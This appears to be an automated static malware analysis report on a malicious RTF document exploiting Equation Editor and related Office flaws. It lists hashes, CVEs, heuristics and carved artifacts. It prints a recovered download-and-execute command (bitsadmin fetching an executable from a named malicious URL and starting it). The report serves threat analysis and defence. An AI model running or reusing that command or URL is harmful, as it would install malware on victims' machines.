Malicious RTF — malware analysis report

Static analysis result for SHA-256 26983a6b80c27114…

MALICIOUS

RTF

489.3 KB Created: 2018-06-04 05:33:00 First seen: 2018-11-05
MD5: 3fa87ae93f1e49ff33f4091654503207 SHA-1: 0dc1faeff1335554c57c9941d68a5e9963f2e4a8 SHA-256: 26983a6b80c271143207d571f4a883c8200df4bbbe03f194a98e4554afaf8e6e
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX OLE activation), along with a bypass vulnerability (CVE-2026-21514). These exploits are designed to achieve code execution, likely to download and run a secondary payload from the unknown reputation URL http://www.br-ajinomoto.ga/doc/pop.pdf. The presence of OLE objects and embedded files further supports this attack vector.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • CVE-2026-21514 — Word/OLE security bypass in RTF high CVE likely CVE_2026_21514
    RTF contains a hidden \svb hex package with DrsE2oDoc and downRevStg drawing compatibility parts. This matches an observed CVE-2026-21514 exploitation shape that manipulates Word's internal document structure and trust decisions.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.br-ajinomoto.ga/doc/pop.pdf In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00017a73.bin rtf-objdata-decoded RTF \objdata at offset 0x17A73 15672 bytes
SHA-256: b497a51a6c055aa937df0aa0d46978b4ce2d1207322ba381375bbf84f5fcc980
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://www.br-ajinomoto.ga/doc/pop.pdf Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer as /priority foreground http://www.br-ajinomoto.ga/doc/pop.pdf %USERPROFILE%\document.exe && start %USERPROFILE%\document.exe
rtf_svb_00003ce1.zip rtf-svb-package RTF \svb hex-decoded ZIP at offset 0x3CE1 3446 bytes
SHA-256: 3992aa37b221acc7cb34a87822e88f89b9cfa12b5dd4923052ff2cd3bd86db85

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